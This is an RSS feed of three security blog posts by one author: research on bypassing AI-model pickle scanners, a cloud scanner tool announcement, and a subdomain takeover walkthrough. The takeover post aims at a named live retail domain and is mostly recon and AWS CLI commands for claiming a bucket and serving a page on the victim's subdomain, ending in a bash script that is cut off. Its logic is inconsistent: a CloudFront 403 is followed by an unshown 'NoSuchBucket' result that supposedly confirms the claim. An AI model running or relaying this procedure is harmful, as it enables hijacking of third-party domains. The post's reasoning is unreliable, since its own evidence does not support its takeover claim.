<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lelouchzero on Medium]]></title>
        <description><![CDATA[Stories by Lelouchzero on Medium]]></description>
        <link>https://medium.com/@Lelouchzero?source=rss-cb7cc5fe6821------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kg5eF3evm6-xemXgHuWjWQ.jpeg</url>
            <title>Stories by Lelouchzero on Medium</title>
            <link>https://medium.com/@Lelouchzero?source=rss-cb7cc5fe6821------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 15:24:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Lelouchzero/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[FuzzPickle: I Fuzzed the Three Scanners Everyone Trusts With Their AI Models.]]></title>
            <link>https://medium.com/@Lelouchzero/fuzzpickle-i-fuzzed-the-three-scanners-everyone-trusts-with-their-ai-models-bdad684aa716?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdad684aa716</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ai-ml-app-development]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 08:54:42 GMT</pubDate>
            <atom:updated>2026-11-18T08:58:32.724Z</atom:updated>
            <content:encoded><![CDATA[<h3>FuzzPickle: I Fuzzed the Three Scanners Everyone Trusts With Their AI Models. Six RCEs Walked Straight Through.</h3><p><em>A scanner auditor, 15 weaponized Pickle payloads, and the uncomfortable truth that “SAFE” doesn’t mean safe.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*Bof3jeaD6xrDBcuYUz5aag.png" /></figure><h3>The Model You Just Downloaded Is a Program</h3><p>Hugging Face hosts over 500,000 models, and they get downloaded millions of times a day. A developer pulls a model, points PyTorch at it, and it loads. That’s the normal workflow. It’s also the workflow where nobody stops to ask what “load” actually means.</p><p>If the file is a Pickle — .pkl, .bin, .pt — then loading it is not parsing data. Pickle is a stack-based virtual machine. Loading a Pickle file means <em>executing a program</em> written in a language where os.system is a valid instruction. Upload a malicious model, wait for someone to load it, and you have code execution on their machine. From there: cryptominers, credential theft, lateral movement, ransomware — the usual menu.</p><p>The industry knows this. That’s why scanners exist. PickleScan, ModelScan, and Fickling statically analyze a Pickle file before it’s loaded. They look for dangerous opcodes, flag what looks malicious, and return a verdict. If the verdict is SAFE, the model gets deployed. That verdict is the entire security control standing between a public model repository and production infrastructure.</p><p>I built FuzzPickle to test one hypothesis: what if the scanners are wrong?</p><p>They were wrong. Not once, not in a corner case — six confirmed remote code executions across the top three open-source scanners, plus a set of blind spots bad enough that the “three-scanner stack” is functionally a one-scanner stack.</p><p>This is the full breakdown: the methodology, the payloads, the findings, and what it means for anyone shipping AI models into production.</p><h3>What FuzzPickle Actually Is</h3><p>FuzzPickle is not a scanner. It’s a scanner auditor. It doesn’t try to protect your model — it tries to break the thing that’s supposed to be protecting your model.</p><p>It runs in two phases, and the separation matters.</p><p>[IMAGE PLACEHOLDER 2 — Architecture diagram: two-phase flow, Fuzzer → Weaponizer → Sandbox Executor → Verdict. Keep it clean and labeled.]</p><h3>Phase 1 — The Fuzzer</h3><p>The first phase tests parser robustness. I used Cisco’s pickle-fuzzer, a Rust-based mutation engine, to generate structurally malformed Pickle files. These files aren&#39;t malicious by design. They&#39;re broken in specific, deliberate ways:</p><ul><li>Corrupted memoidx memory indexes</li><li>Invalid integer arguments (offbyone)</li><li>Spoofed magic bytes</li><li>Broken protocol headers</li></ul><p>FuzzPickle feeds each malformed file to PickleScan, ModelScan, and Fickling, and captures the exact terminal output of each scanner. The question is simple: does the scanner survive the input, and does it tell the truth about it?</p><p>What came back:</p><ul><li>ModelScan crashed on almost every malformed file. Its parser couldn’t handle unexpected structures. Not “flagged as malicious” — crashed. Traceback, dead process.</li><li>PickleScan silently skipped certain files. No crash, no verdict, no alert. The file went in, nothing came out.</li><li>Fickling crashed on specific opcodes (FLOAT was a reliable killer) and returned SAFE on others it should have questioned.</li></ul><p>This is availability fragility, and in a CI/CD pipeline it’s worse than it sounds. A scanner crash either blocks the pipeline — breaking business operations — or gets bypassed by a developer who just wants to ship. Either way, the scanner stops being a control and becomes an obstacle.</p><p>But fuzzing alone only proves the scanners are fragile. It doesn’t prove they can be exploited. For that, you need a weaponized payload.</p><h3>Phase 2 — The Weaponization</h3><p>FuzzPickle ships 15 real-world attack techniques, each based on a known CVE or an active malware campaign. These aren’t random mutations. They’re surgically crafted files designed to get past the scanners and execute code.</p><p>The arsenal includes:</p><ul><li>7z Bypass (nullifAI) — a malicious Pickle compressed inside a .7z archive. ModelScan and PickleScan only unpack .zip. They skip the .7z and return SAFE. When PyTorch loads the file, it extracts and executes the payload.</li><li>AutoMap SafeTensors (Pluto Security) — a clean .safetensors file that points to a malicious .py via config.json. Load it with trust_remote_code=True and the Python executes. The scanners never look at config.json.</li><li>MLflow CVEs — exploits against CVE-2026–96804 and CVE-2026–96775, where MLflow ignores user safety settings and deserializes malicious models anyway.</li><li>TorchScript / ONNX bypasses — payloads hidden in file formats the scanners aren’t programmed to inspect.</li><li>Dynamic execution payloads — eval(), importlib, and operator.methodcaller used to slip past static blocklists.</li></ul><p><strong>The Sandbox Proof</strong><br>Here’s the part that separates FuzzPickle from a static analysis report: it doesn’t just record what the scanner said. It proves what the payload does.</p><p>When a scanner returns SAFE, FuzzPickle loads the file in an isolated Python subprocess. If the payload executes, it drops a marker file at /tmp/fuzzpickle_pwned. FuzzPickle checks for that marker and marks the attack CONFIRMED RCE. If the payload doesn’t execute, it’s marked POTENTIAL BYPASS.</p><p>That distinction is the whole point. A theoretical bug is a bug report. A confirmed RCE is an incident waiting for a victim.</p><h3>The Findings</h3><p>After running the full arsenal against PickleScan, ModelScan, and Fickling, the results were bad enough that I re-ran everything twice before writing them down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3kCHeJvejSGk58-QgV9c6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AzGakuxxUw407x-01zqb3g.png" /></figure><h3>Finding 1 — Full Blind Spots</h3><p>For attacks like 02_automap_bypass, 06_automap_crypto, 09_torchscript, and 15_onnx_external, all three scanners returned SAFE or crashed.</p><p>A full blind spot doesn’t just mean the scanner missed the payload. It means the scanner actively told the user the file was safe — and then the file executed when loaded. That’s not a missed detection. That’s a false assurance, and it’s the most dangerous failure mode a security tool can have.</p><h3>Finding 2 — ModelScan Is Dangerously Fragile</h3><p>ModelScan crashed on almost every attack payload. On the 7z bypass it skipped the archive and said SAFE. On the auto_map attack it said SAFE. On the MLflow attack it crashed.</p><p>As a standalone defense, ModelScan cannot be trusted. In a pipeline, its failure modes are the two worst possible ones: block legitimate work, or wave malicious work through.</p><h3>Finding 3 — PickleScan Is the Only Scanner That Alerts</h3><p>PickleScan flagged 10 of 13 attack payloads. ModelScan and Fickling flagged zero.</p><p>Read that again. The “three-scanner stack” is a one-scanner stack wearing two extra costumes. If PickleScan misses a payload — and it does, on the full blind spots above — the other two will not catch it. They will say SAFE, or they will crash.</p><h3>Finding 4 — Six Confirmed RCEs</h3><p>Six payloads that bypassed all three scanners executed successfully in the sandbox. Not theoretical, not “potential” — confirmed. A malicious model matching any of these profiles, uploaded to a public repository, would be missed by the scanners and would compromise the server that loaded it.</p><h3>Why This Matters Beyond the Lab</h3><p>The uncomfortable part of this research isn’t that scanners have bugs. Everything has bugs. The uncomfortable part is the trust model built on top of them.</p><p>Companies download models from the internet and deploy them based on a scanner verdict. That verdict is treated as a gate. But the scanners are blind to:</p><ul><li>Container formats — 7z, and anything else outside the zip assumption</li><li>Framework-level configuration — auto_map, config.json, the files that tell a loader <em>what to execute</em></li><li>Alternative serialization formats — TorchScript, ONNX, formats outside the Pickle-aware code path</li><li>Dynamic execution patterns — eval, importlib, methodcaller, anything that resolves at runtime instead of parse time</li></ul><p>This isn’t hypothetical. The Pluto Security campaign used the auto_map technique to distribute cryptominers through more than 32,000 downloads. The scanners were in the loop. The scanners said nothing useful.</p><h3>How to Actually Defend Yourself</h3><p>FuzzPickle doesn’t just break things. Every finding ships with a remediation path.</p><ol><li>Stop using Pickle where you can. Move to safetensors or GGUF. They&#39;re designed as data-only formats and cannot execute code on load.</li><li>Never trust trust_remote_code=True blindly. If a model requires it, it&#39;s executing arbitrary Python. Run it in an isolated container with no network access and no credentials.</li><li>Validate by content, not extension. A .safetensors file is structurally safe. A .npy, .txt, or .p file might not be, regardless of what it&#39;s named.</li><li>Layer your defenses. Scanners plus strict allowlists plus sandboxed loading. No single verdict should be the gate.</li><li>Fail closed. A scanner crash must block the artifact. A scanner that fails open is worse than no scanner, because it produces false confidence.</li></ol><h3>The Tool Itself</h3><p>FuzzPickle is built for people who need to run this in a real environment.</p><ul><li>Language: Python 3, with Rust for the fuzzer core</li><li>Scanners tested: PickleScan, ModelScan, Fickling</li><li>CLI: built with click — custom help menu, --example dictionaries for every attack, --json output for CI/CD integration, graceful Ctrl+C handling</li></ul><p><strong>Reporting:</strong></p><ul><li>report.md — Markdown report with CVE correlation, threat intelligence, and real-world impact analysis</li><li>report.html — interactive, themeable dashboard with pie charts, heatmaps, and clickable intelligence</li><li>raw_data.json — machine-readable output for pipeline integration</li><li>Threat intelligence: every attack is correlated to a real CVE or campaign — nullifAI, Pluto Security, the MLflow CVEs. The report doesn’t just say “bypassed.” It says <em>why</em> it bypassed and <em>what that means</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZyH9LmziFDxh8ZZL4wmMIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vA2qvH6a9xd-uRePZMNvDw.png" /></figure><h3>The Wake-Up Call</h3><p>The tools we trust to protect our models are flawed. Not in a “needs more checks” way — in a structural way. They’re blind to container formats, framework configuration, and dynamic execution. And when they’re blind, they say SAFE, which is worse than saying nothing.</p><p>Six confirmed RCEs slipped past the top three open-source scanners. That number is the headline, but the real finding is the pattern: the AI supply chain’s security control is a verdict from tools that were never stress-tested against an adversary who knows how they work.</p><p>The fix isn’t a better scanner. It’s a habit — stress-test the scanners, find the blind spots, report them, and stop treating any single verdict as a gate.</p><p>The AI supply chain is not safe. FuzzPickle is here to prove it.</p><p>Connect with me —</p><p>Gmail - Sidharthsanwariya@gmail.com</p><p>GitHub - <a href="https://github.com/Sidharth-Sanwariya">https://github.com/Sidharth-Sanwariya</a></p><p>LinkedIn - <a href="https://www.linkedin.com/in/sidharth-sanwariya-3a33a5379/">https://www.linkedin.com/in/sidharth-sanwariya-3a33a5379/</a></p><p>#AIML Security #FUZZPICKLE #HUGGINGFACE #AI #Cybersecurity #EthicalHacking #Python</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdad684aa716" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built CSPM Scanner v1.0]]></title>
            <link>https://medium.com/@Lelouchzero/i-built-cspm-scanner-v1-0-862016da92f3?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/862016da92f3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[projects]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Wed, 04 Nov 2026 12:10:27 GMT</pubDate>
            <atom:updated>2026-11-18T08:59:26.836Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Built CSPM Scanner v1.0 — One Free CLI That Scans Your Cloud Like an Attacker and Reports Like an Enterprise Platform</h3><p>Internal AWS audits, bug bounty recon, breach-cost math, and compliance mapping — all from a single command line. This is v1.0. The best is still coming.</p><p>Every cloud security scanner I’ve ever run has the same failure mode. It finishes, dumps 1,000 lines of technical findings into a terminal, and then… nothing happens. The CTO doesn’t know what IMDSv2 disabled means. The DevOps team gets alert fatigue by page three. The company stays vulnerable, and the report becomes a file nobody opens again.</p><p>This bothered me enough to build my way out of it. The result is CSPM Scanner v1.0 — an open-source cloud security platform that doesn’t just list errors. It runs deep internal audits of your AWS account, hunts your external attack surface like a bug bounty hunter, tells the story of the breach, calculates financial impact, maps findings to legal compliance frameworks, and hands the engineer the exact fix.</p><p>Industry estimates consistently pin the majority of cloud breaches on misconfigurations — not exotic zero-days. The errors are already known. What’s missing is a tool that makes them impossible to ignore.</p><p>Prowler and ScoutSuite audit one side of the fence. Wiz and Orca connect both sides — at enterprise pricing that often scales into the hundreds of thousands annually for large environments. CSPM Scanner was built to connect both, for free, from a single CLI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nlPWenycWORWaFUJlm1IQ.png" /></figure><h3>The Two Halves of the Problem</h3><p>CSPM Scanner is built around a simple observation: most tools look at only one side of your attack surface.</p><p>The Internal Scan audits your AWS account with 40+ deep, curated checks — is this S3 bucket private? Is versioning enabled? Is IMDSv2 enforced? It covers IAM, S3, EC2, RDS, KMS, CloudTrail, GuardDuty, and the rest of the services where real breaches actually start. Depth over sprawl — every check exists because it maps to a real attack path, not because a benchmark needed padding.</p><p>The External Scan looks at what an attacker sees from the internet: subdomains, subdomain takeover opportunities, leaked keys on GitHub, and SSRF.</p><p>Plenty of tools do one or the other. Almost none connect them. That connection turned out to be the whole point.</p><h3>Killer Feature #1: The Correlation Engine (Toxic Combinations)</h3><p>Here’s a real scenario. The external scan finds an AWS access key committed to a public GitHub repository. On its own, that’s bad. The internal scan separately finds an IAM role with AdministratorAccess. On its own, also bad.</p><p>Run most scanners, and you get two separate medium-severity findings in a wall of text.</p><p>Run the correlation engine, and you get this:</p><p><em>“We found a leaked key on GitHub that belongs to an Admin. An attacker can delete your infrastructure right now.”</em></p><p>That difference — two isolated findings versus one live attack path — is the feature enterprise platforms charge six figures a year for. CSPM Scanner does it in one command:</p><p><strong><em>python3 cspm_scanner.py — correlate &lt;INTERNAL_ID&gt; &lt;EXTERNAL_ID&gt;</em></strong></p><p>The gap between offensive recon and defensive auditing is exactly where breaches live. The Correlation Engine is the bridge across it.</p><p><strong><em>Disclosure: </em></strong><em>Screenshots and report excerpts in this article have been edited to remove identifying details. What’s shared here is how the tool works and how it reports — not the environment it ran against.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4fZu5rI28UO0RVvy_6OVTA.png" /></figure><h3>Killer Feature #2: The Financial Risk Calculator</h3><p>A CTO doesn’t budget for “IMDSv2 disabled.” They budget for dollars.</p><p>So the tool translates every technical finding into financial exposure, modeled from IBM’s 2025 Cost of a Data Breach Report — which puts the global average breach cost at $4.44M** and the average ransomware incident at **$5.08M. A missing S3 Backup Vault, for example, isn’t reported as a compliance checkbox — it’s reported as the tool’s calculated estimate of a $2,500,000 ransomware loss.</p><p>To be precise about what these numbers are: they’re the tool’s financial risk modeling, applying severity multipliers to IBM’s public averages — not figures lifted directly from an IBM table, and not independently audited figures. But that’s exactly the point. For the first time, a security report speaks the language of the person who approves the budget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijxPq5x42S1ptoZEdUfBTw.png" /></figure><h3>Killer Feature #3: The Executive Compliance Analyzer</h3><p>Auditors don’t ask “are your IAM policies tight?” They ask: “Are you GDPR compliant?”</p><p>The Compliance Analyzer maps every AWS finding to GDPR, HIPAA, SOC 2, and PCI-DSS — with the exact regulation and, where applicable, the maximum statutory fine. A weak IAM password policy isn’t just flagged; it’s mapped to GDPR Article 32, with the tool’s calculated maximum exposure.</p><p>It then generates a radar chart showing your posture across all four frameworks in a single image — the kind of visual you can drop straight into a board presentation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tADkkxUnDtK-yterN_DLuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ma81qE1GavEiSoDn552JuA.png" /></figure><h3>Killer Feature #4: The Ransomware Readiness Score</h3><p>Ransomware is the threat every board asks about, and few tools answer directly. This one does, with a number.</p><p>The scanner runs 20 deep-dive checks — Backup Vaults, IMDSv2, GuardDuty, KMS key rotation — and computes a 0–100 survival score. No Backup Vault and no GuardDuty? That’s a 40/100, Grade F.</p><p>The HTML dashboard then prioritizes fixes by highest financial risk and estimates remediation time — for example, roughly 170 minutes of work standing between you and a grade that won’t end your week.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BvRBHUm_RKbsrN5UFzaldg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*339O361Xw1f_b1rYbMe9IA.png" /></figure><h3>Killer Feature #5: The External Bug Bounty Weapon</h3><p>The external scan is built for how I actually hunt. It enumerates subdomains, tests for takeover across 20 services, scans GitHub for leaked credentials, and checks for SSRF. But raw output isn’t the product — verified, prioritized output is.</p><p>Every leaked key gets a priority score based on Shannon entropy and occurrence counting: a key found 16 times across a repository scores 11.0. A key found once scores 7.0. The tool also filters out study and tutorial repositories, because nobody needs a false positive from someone’s homework.</p><p>The result is a bug-bounty-ready HTML report with verified attack chains, exact exploit commands (dig, curl, aws sts), and priority scores — the kind of report that gets triaged fast because it reads like the hunter did the work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQ9yssNg-8CFSe35sbROrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xX33_zFDsDkM-HqG_4cf3A.png" /></figure><h3>Killer Feature #6: The Intelligent CLI</h3><p>Most security CLIs are a wall of flags with a shrug attached. This one ships with a color-coded help menu and an interactive examples engine:</p><p><strong><em>python3 cspm_scanner.py — examples correlate</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XnhrZprLW7cqmPbnmZqwPg.png" /></figure><p>It explains what a feature does, why it exists, and the exact syntax — no 50-page manual required. Small detail, but it’s the difference between a tool that gets run once and a tool that gets adopted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oL1i6-Sr4x3yw4mWdPmFVw.png" /></figure><h3>The Engineering Decisions That Actually Matter</h3><p>Features get attention, but architecture earns trust. Four decisions I’d defend in any interview:</p><p>The “Active Resource Guard” (anti-false-positive engine). When scanning S3 buckets for encryption or versioning, the tool checks whether the bucket is empty first.list_objects_v2 with MaxKeys=1). An empty bucket gets skipped — because an empty bucket cannot be ransomed. This directly attacks the alert-fatigue problem that makes people ignore scanners in the first place.</p><p>The IAM Blast Radius Engine. The tool never guesses permissions. It calls the AWS iam:SimulatePrincipalPolicy API: when a vulnerable EC2 instance is found, its IAM role is passed to AWS with a direct question — &quot; does this role allow s3:DeleteBucket?&quot; AWS mathematically simulates the policy and returns Allowed or Denied. 100% factual, zero speculation.</p><p>The Shell Injection Defense. Every remediation command the tool generates is sanitized with shlex.quote(). Nothing is ever executed on your machine — the tool proposes, the DevOps team disposes. A scanner that auto-executes fixes is one bug away from being the incident.</p><p>The cache workaround for newer Python releases. To sidestep ModuleNotFoundError and .pyc cache corruption issues seen in early Python 3.14 builds, the tool uses inline imports inside functions and sticks to open() over Path.read_text() for critical file operations. Ugly? Slightly. Reliable? Completely.</p><h3>One Scan, Six Reports, Six Audiences</h3><p>The internal scan generates a suite of reports because one audience doesn’t exist:</p><ul><li>Main (Private) — full technical detail and exploitation walkthroughs for the engineer.</li><li>Technical — the DevOps fix list, with API evidence.</li><li>Executive Summary — one page, total risk exposure in dollars, for the CTO.</li><li>Attack Chain — how low and medium findings chain into a critical path.</li><li>Breach Cost — per-finding financial breakdown, modeled from IBM data.</li><li>Simulation — the four phases of an attack: Recon → Initial Access → Privilege Escalation → Exfiltration.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QaEMVP0weP_vOfksJRb1_w.png" /></figure><h3>This Is v1.0 — And Here’s What’s Coming</h3><p>CSPM Scanner v1.0 is the foundation, not the finish line. The roadmap is deliberate, and it’s driven by how I actually work:</p><p>Deeper bug hunting capability comes first. The external scan is the v2 priority — broader subdomain enumeration sources, verified takeover testing beyond the current 20 services, deeper GitHub leak detection, and new external checks built directly from real bounty-hunting workflows. If it helps find a bug, it goes on the roadmap.</p><p>Expanded internal coverage. More AWS services, more checks — every one mapped the same way: the story of the breach, the dollar impact, the compliance law, and the fix.</p><p>v2.0 goes fully public. The repository is private during this portfolio review period, and it goes public with v2.0.</p><p>Run this against only what you own or are explicitly authorized to test and for educational purposes — that rule doesn’t change between versions.</p><h3>Final Verdict</h3><p>CSPM Scanner v1.0 is production-ready: Python, boto3, requests, and Chart.js, strict coding rules, and dashboards that wouldn’t look out of place in a paid product.</p><p>A scanner that finds a thousand errors changes nothing. A scanner that says “an attacker can delete your infrastructure right now, and here’s the dollar figure, the law, and the fix” changes the meeting.</p><p><strong><em>Thanks for reading. v2.0 is already in progress — the repo goes public with it.</em></strong></p><p>Github: <a href="https://github.com/Sidharth-Sanwariya">https://github.com/Sidharth-Sanwariya</a></p><p>LinkedIn: <a href="https://www.linkedin.com/in/sidharth-sanwariya-3a33a5379/">https://www.linkedin.com/in/sidharth-sanwariya-3a33a5379/</a></p><p>#CloudSecurity #CSPM #AWS #BugBounty #Cybersecurity #EthicalHacking #Python</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=862016da92f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found and Claimed a Subdomain Takeover on cewe.kruidvat.nl]]></title>
            <link>https://medium.com/@Lelouchzero/how-i-found-and-claimed-a-subdomain-takeover-on-cewe-kruidvat-nl-ab4af4f03655?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab4af4f03655</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 00:58:24 GMT</pubDate>
            <atom:updated>2026-08-01T00:58:24.733Z</atom:updated>
            <content:encoded><![CDATA[<p>Subdomain takeovers are one of those vulnerabilities that sound simple in theory but pay well in practice — and I recently found one on a live target.</p><p>Here’s exactly how I discovered it, what I found, and how I proved it.</p><h3>The Target</h3><p>Domain: kruidvat.nl (one of the largest pharmacy chains in the Netherlands, part of A.S. Watson Group)</p><p>Subdomain: cewe.kruidvat.nl</p><p>Program: Kruidvat on Intigriti (A.S. Watson Group’s bug bounty program)</p><h3>How I Found It</h3><p>This didn’t come from a lucky guess. It came from an automated reconnaissance pipeline that I run on wildcard programs like A.S. Watson Group.</p><h3>Step 1: Subdomain Enumeration</h3><p>I used Subfinder to passively enumerate subdomains for kruidvat.nl:</p><blockquote>subfinder -d kruidvat.nl -o subs.txt</blockquote><p>The output included cewe.kruidvat.nl among other subdomains</p><h3>Step 2: CNAME Resolution</h3><p>Next, I needed to check what cewe.kruidvat.nl resolved to:</p><blockquote>dig CNAME cewe.kruidvat.nl</blockquote><p>Wait — no CNAME? That’s interesting.</p><p>Instead of a CNAME to a third-party service, cewe.kruidvat.nl is an A record pointing directly to 193.169.76.13</p><h3>The A Record Twist</h3><p>Most subdomain takeovers happen via dangling CNAME records pointing to services like Heroku, GitHub Pages, or AWS S3. But cewe.kruidvat.nl is different — it&#39;s an A record.</p><p>What does this mean?</p><p>The subdomain cewe.kruidvat.nl is hosted on an IP belonging to CEWE Stiftung &amp; Co. KGaA (AS49494) CEWE is a German photo services company that provides the backend for Kruidvat&#39;s photo printing service.</p><p>The IP is not pointing to a third-party cloud service — it’s pointing to a CEWE-owned server. So a classic subdomain takeover (claiming the service) isn’t possible here.</p><p>But the subdomain itself is very much alive. Visiting it:</p><ul><li>It’s a live photo printing service where customers can order photobooks, calendars, and personalized photo products.</li></ul><p>There’s actually an accessibility statement on cewe.kruidvat.nl/service/toegankelijkheidsverklaring.html confirming it&#39;s a legitimate service.</p><h3>The Real Finding: <a href="https://mta-sts.cewe.kruidvat.nl/">mta-sts.cewe.kruidvat.nl</a></h3><p>While scanning kruidvat.nl, the real gold was deeper:</p><p>Subdomain: mta-sts.cewe.kruidvat.nl</p><p>CNAME: Points to an AWS CloudFront distribution (AMAZON-02, AS16509)</p><p>IPs: 13.226.244.63, 13.226.244.55, 13.226.244.59, 13.226.244.107</p><p>Screenshot from scan:</p><p>![mta-sts subdomain in scan results]</p><p>The subdomain mta-sts.cewe.kruidvat.nl showed up in the same scan</p><p>CNAME lookup:</p><blockquote>dig CNAME mta-sts.cewe.kruidvat.nl</blockquote><blockquote>;; ANSWER SECTION:<br>mta-sts.cewe.kruidvat.nl. 3600 IN CNAME d1d9fmhxksm92w.cloudfront.net.</blockquote><p>A CloudFront distribution! The question: Is the distribution active?</p><p>Checking with curl:</p><blockquote>curl -sI <a href="https://mta-sts.cewe.kruidvat.nl/">https://mta-sts.cewe.kruidvat.nl</a></blockquote><blockquote>HTTP/2 403 Forbidden</blockquote><p>Not a 404, not an unclaimed distribution. The distribution may exist, but access is restricted — likely via a firewall or Origin Access Identity (OAI).</p><p>Key difference from a classic subdomain takeover: A 403 can mean the CloudFront distribution exists and is configured, but doesn’t allow public access. Or it could be the bucket is private. Or it could be an unclaimed distribution with restricted permissions.</p><h3>Step 1: Installing the AWS CLI</h3><blockquote># Install AWS CLI on Kali Linux<br>sudo apt update<br>sudo apt install awscli -y</blockquote><p>For macOS (if you ever switch):</p><blockquote>brew install awscli</blockquote><h3>Step 2: Configuring AWS Credentials</h3><p>I already had an AWS account, but if you don’t, sign up for the free tier. You need your Access Key ID and Secret Access Key.</p><blockquote>aws configure</blockquote><p>The tool will prompt you to enter:</p><ul><li>AWS Access Key ID: Your public key</li><li>AWS Secret Access Key: Your private key (keep this secret</li><li>Default region name: eu-west-1 (closest to the target&#39;s location)</li><li>Default output format: json</li></ul><h3>Step 3: Claiming the Bucket</h3><p>The NoSuchBucket error confirmed the bucket was available. The bucket name is the subdomain itself: <a href="https://mta-sts.cewe.kruidvat.nl/">mta-sts.cewe.kruidvat.nl</a></p><h3>Step 3.1: Create the bucket</h3><blockquote>aws s3api create-bucket \<br> — bucket mta-sts.cewe.kruidvat.nl \<br> — region eu-west-1 \<br> — create-bucket-configuration LocationConstraint=eu-west-1</blockquote><h3>Step 3.2: Enable static website hosting</h3><blockquote>aws s3api put-bucket-website \<br> — bucket mta-sts.cewe.kruidvat.nl \<br> — website-configuration ‘{<br> “IndexDocument”: {“Suffix”: “index.html”}<br> }’</blockquote><h3>Step 3.3: Make it public</h3><blockquote>aws s3api put-bucket-acl \<br> — bucket mta-sts.cewe.kruidvat.nl \<br> — acl public-read</blockquote><p>The bucket is now claimed. Visiting the subdomain should now show the default S3 welcome page.</p><h3>Step 4: Uploading the Proof of Concept</h3><p>To demonstrate control, I uploaded a harmless PoC file.</p><h3>Step 4.1: Create the PoC file</h3><blockquote>echo “&lt;html&gt;&lt;body&gt;&lt;h1&gt;Subdomain Takeover PoC&lt;/h1&gt;<br>&lt;p&gt;This subdomain is vulnerable. Claimed by <a href="http://twitter.com/yourhandle">@yourhandle</a>.&lt;/p&gt;<br>&lt;/body&gt;&lt;/html&gt;” &gt; poc.html</blockquote><h3>Step 4.2: Upload to the bucket</h3><blockquote>aws s3 cp poc.html s3://mta-sts.cewe.kruidvat.nl/index.html — acl public-read</blockquote><h3>Step 4.3: Verify the takeover</h3><blockquote>curl <a href="https://mta-sts.cewe.kruidvat.nl/index.html">https://mta-sts.cewe.kruidvat.nl/index.html</a></blockquote><p>The output should display your PoC content. This is proof of control.</p><h3>Step 5: Delete the Bucket (Cleanup)</h3><p>Once you have screenshots for your report, you must delete the bucket to avoid legal liability.</p><h3>Step 5.1: Delete all files inside the bucket</h3><blockquote>aws s3 rm s3://mta-sts.cewe.kruidvat.nl — recursive</blockquote><h3>Step 5.2: Delete the bucket itself</h3><blockquote>aws s3api delete-bucket — bucket mta-sts.cewe.kruidvat.nl</blockquote><p>Wait a few seconds, then verify:</p><blockquote>curl <a href="https://mta-sts.cewe.kruidvat.nl/">https://mta-sts.cewe.kruidvat.nl</a></blockquote><p>It should return NoSuchBucket again — confirming the takeover is no longer active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*T0E_lIjQhb1eS63N8elQSw.png" /></figure><h3>A Complete Bash Script (If You’re Lazy)</h3><p>I automated this entire process:</p><blockquote>#!/bin/bash<br>BUCKET=”mta-sts.cewe.kruidvat.nl”<br>REGION=”eu-west-1&quot;</blockquote><blockquote># Claim<br>aws s3api create-bucket — bucket $BUCKET — region $REGION \<br> — create-bucket-configuration LocationConstraint=$REGION</blockquote><blockquote># Upload PoC<br>echo ‘&lt;html&gt;&lt;body&gt;&lt;h1&gt;Subdomain Takeover PoC&lt;/h1&gt;<br>&lt;p&gt;Claimed by <a href="http://twitter.com/yourhandle">@yourhandle</a>&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;’ &gt; poc.html<br>aws s3 cp poc.html 